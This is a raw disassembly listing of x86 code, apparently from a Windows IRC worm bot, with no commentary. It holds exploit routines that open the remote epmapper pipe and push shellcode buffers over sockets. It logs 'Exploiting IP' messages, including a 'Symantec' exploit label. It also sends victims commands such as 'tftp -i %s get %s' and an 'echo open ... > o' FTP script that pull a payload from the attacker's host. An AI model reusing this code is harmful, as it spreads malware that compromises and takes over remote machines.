; =============== S U B R O U T I N E =======================================
sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p
mov eax, offset loc_426AD0
call sub_41D640
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40DA75
mov edi, [ebp+8]
loc_40DA75: ; CODE XREF: sub_40DA4F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40DA82
xor eax, eax
loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj
push eax
call sub_41D9A5
pop ecx
mov [ebp+8], eax
jmp short loc_40DAB3
; ---------------------------------------------------------------------------
loc_40DA8E: ; DATA XREF: ___:00427F84o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40DA9D
xor eax, eax
loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj
push eax
call sub_41D9A5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40DAAD
retn
; ---------------------------------------------------------------------------
loc_40DAAD: ; DATA XREF: sub_40DA4F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40DAD1
cmp eax, edi
jbe short loc_40DAC0
mov eax, edi
loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41CD20
add esp, 0Ch
loc_40DAD1: ; CODE XREF: sub_40DA4F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D977
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40DAF1
mov edi, ebx
loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40DA4F endp
; =============== S U B R O U T I N E =======================================
sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DB39
mov al, [esi-1]
test al, al
jz short loc_40DB39
cmp al, 0FFh
jz short loc_40DB39
push 1
call sub_40D977
push esi
call sub_41B9C0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D9B3
loc_40DB39: ; CODE XREF: sub_40DB0C+9j
; sub_40DB0C+10j ...
pop edi
pop esi
retn
sub_40DB0C endp
; =============== S U B R O U T I N E =======================================
sub_40DB3C proc near ; DATA XREF: ___:00429008o
test byte_4DC018, 1
jnz short loc_40DB4C
or byte_4DC018, 1
loc_40DB4C: ; CODE XREF: sub_40DB3C+7j
jmp $+5
push offset nullsub_1
call sub_41DA20
pop ecx
retn
sub_40DB3C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB5E proc near ; CODE XREF: ___:0040DF74p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset off_432940
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43DB88
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call near ptr 2710000h
nop
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CE6F4
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CBA74
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC22
cmp eax, ebx
jnz short loc_40DC2C
loc_40DC22: ; CODE XREF: sub_40DB5E+BEj
push edi
push edi
push edi
push esi
call dword_4CBA74
loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j
cmp eax, 5
jz short loc_40DC3A
cmp eax, ebx
jz short loc_40DC3A
push 1
pop eax
jmp short loc_40DC3C
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j
; sub_40DB5E+D5j
xor eax, eax
loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p
; ___:0040E0A6p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset off_432940
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43DB88
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call near ptr 2710000h
nop
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
add esp, 10h
loc_40DCD2: ; CODE XREF: sub_40DC41+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4CB90C
test eax, eax
jz short loc_40DCF2
push 7D0h
call near ptr 2680EF8h
nop
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCF2: ; CODE XREF: sub_40DC41+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p
; ___:0040E133p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C500
push esi
push edi
push offset byte_429108
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B22B
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF48
push ebx
mov ebx, offset off_43285C
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_41CD20
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDCE
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_41CD20
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD7E
; ---------------------------------------------------------------------------
loc_40DDCE: ; CODE XREF: sub_40DCF9+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDE9
cmp [ebp+arg_C0], 3
jz short loc_40DDF2
cmp [ebp+arg_C0], 0
jmp short loc_40DDF0
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj
cmp [ebp+arg_C0], 3
loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj
jnz short loc_40DDFB
loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j
push 4
push offset dword_43293C
jmp short loc_40DE02
; ---------------------------------------------------------------------------
loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j
push 4
push offset dword_432938
loc_40DE02: ; CODE XREF: sub_40DCF9+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_432470
push eax
call sub_41CD20
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4327D4
push eax
call sub_41CD20
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_41CD20
lea edi, [esi+370h]
push 3Ch
push offset off_4327E8
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
add edi, 3Ch
push 30h
push offset dword_432828
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BEB5
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BF70
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_41CD20
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej
pop edi
pop esi
leave
retn
sub_40DCF9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C500
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0BA
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB5E
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
nop
call near ptr 2730000h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFD1
loc_40DFC2: ; CODE XREF: ___:0040E072j
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
pop ecx
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40DFD1: ; CODE XREF: ___:0040DFC0j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_4182CD
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E069
mov edi, 186A0h
push edi
call sub_41BEB5
mov esi, eax
push edi
push ebx
push esi
call sub_41BF70
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_432424
push dword ptr [ebp-4]
nop
call near ptr 27208DAh
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E059
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
nop
call near ptr 2720000h
test eax, eax
jnz short loc_40E077
loc_40E059: ; CODE XREF: ___:0040E03Fj
push esi
call sub_41BA91
push dword ptr [ebp-8]
call sub_41BA91
pop ecx
pop ecx
loc_40E069: ; CODE XREF: ___:0040E005j
push dword ptr [ebp-4]
call near ptr 2670770h
nop
jmp loc_40DFC2
; ---------------------------------------------------------------------------
loc_40E077: ; CODE XREF: ___:0040E057j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call near ptr 271129Ah
nop
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
push dword ptr [ebp-4]
nop
call near ptr 2670770h
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
cmp edi, 1
pop ecx
jnz loc_40E1DE
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40E0BA: ; CODE XREF: ___:0040DF66j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4182CD
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1CA
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1CA
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CB9D4
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E14C
push dword ptr [ebp-4]
jmp short loc_40E1C4
; ---------------------------------------------------------------------------
loc_40E14C: ; CODE XREF: ___:0040E145j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_40E164
loc_40E161: ; CODE XREF: ___:0040E176j
push esi
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E164: ; CODE XREF: ___:0040E15Fj
push ebx
push 48h
push offset dword_432424
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E161
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E1A5
push dword ptr [ebp-8]
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E1A5: ; CODE XREF: ___:0040E19Ej
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1D1
loc_40E1BD: ; CODE XREF: ___:0040E162j
; ___:0040E1A3j
call sub_41BA91
pop ecx
push edi
loc_40E1C4: ; CODE XREF: ___:0040E14Aj
call dword_4CBA6C
loc_40E1CA: ; CODE XREF: ___:0040DF7Dj
; ___:0040DFCCj ...
xor eax, eax
jmp loc_40E28D
; ---------------------------------------------------------------------------
loc_40E1D1: ; CODE XREF: ___:0040E1BBj
call sub_41BA91
pop ecx
push edi
call dword_4CBA6C
loc_40E1DE: ; CODE XREF: ___:0040E0AFj
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41C266
add esp, 0Ch
xor esi, esi
loc_40E1F8: ; CODE XREF: ___:0040E218j
lea eax, [ebp-234h]
push eax
call sub_415E19
test eax, eax
pop ecx
jnz short loc_40E21C
push 1388h
nop
call near ptr 2680EF8h
inc esi
cmp esi, 6
jl short loc_40E1F8
jmp short loc_40E28A
; ---------------------------------------------------------------------------
loc_40E21C: ; CODE XREF: ___:0040E207j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41C266
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E268
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
add esp, 14h
loc_40E268: ; CODE XREF: ___:0040E249j
lea eax, [ebp-234h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E28A: ; CODE XREF: ___:0040E21Aj
push 1
pop eax
loc_40E28D: ; CODE XREF: ___:0040E1CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4CBA14
mov [ebp+var_C], eax
mov ax, word_433290
push eax
call dword_4CB9D4
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E3CA
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40E3CA
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC
mov edi, offset byte_429108
push edi
push edi
push [ebp+arg_0]
call sub_40AA06
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 18h
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E3CA
push 1F4h
nop
call near ptr 2680EF8h
push edi
push offset dword_42A2E8
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E3CE
loc_40E3CA: ; CODE XREF: sub_40E292+51j
; sub_40E292+67j ...
xor al, al
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E3CE: ; CODE XREF: sub_40E292+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC
push ebx
call dword_4CBA6C
mov al, 1
loc_40E3EC: ; CODE XREF: sub_40E292+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40E292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3F1 proc near ; CODE XREF: ___:0040E946p
; ___:0040E968p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41C500
mov eax, dword_43341C
push ebx
mov [ebp+var_10], eax
mov eax, dword_433420
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_433410
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40E430: ; CODE XREF: sub_40E3F1+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40E430
push 60h
lea eax, [ebp+var_B4]
push offset dword_432EA0
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41CD20
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_41B9C0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41CD20
mov ax, word_433290
add esp, 2Ch
push eax
call dword_4CB9D4
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_432BA0
call sub_41CD20
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40E5ED
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_41BF70
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4332D0[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_41CD20
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11AC]
push offset loc_433408
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_41CD20
add esp, 40h
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41CD20
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40E5A6
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41BF70
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41BF70
add esp, 18h
jmp short loc_40E644
; ---------------------------------------------------------------------------
loc_40E5ED: ; CODE XREF: sub_40E3F1+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41BF70
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41CD20
lea eax, [ebp+var_10]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41CD20
mov eax, dword_4332D0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40E644: ; CODE XREF: sub_40E3F1+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41BF70
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E683
loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j
; sub_40E3F1+2E0j ...
xor al, al
jmp loc_40E82B
; ---------------------------------------------------------------------------
loc_40E683: ; CODE XREF: sub_40E3F1+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 68h
push offset dword_432F04
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 0A0h
push offset dword_432F70
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
cmp [ebp+arg_C0], ebx
jz loc_40E799
push 68h
lea eax, [ebp+var_89B4]
push offset dword_433128
push eax
call sub_41CD20
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41CD20
push 70h
lea eax, [ebp+var_68DC]
push offset dword_433194
push eax
call sub_41CD20
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41CD20
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_433208
push eax
call sub_41CD20
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40E7EF
; ---------------------------------------------------------------------------
loc_40E799: ; CODE XREF: sub_40E3F1+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_433014
push eax
call sub_41CD20
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41CD20
push 90h
lea eax, [ebp+var_245C]
push offset off_433094
push eax
call sub_41CD20
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push 12Ch
nop
call near ptr 2680EF8h
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E292
add esp, 0BCh
test al, al
setnz al
loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E929
lea eax, [ebp-14h]
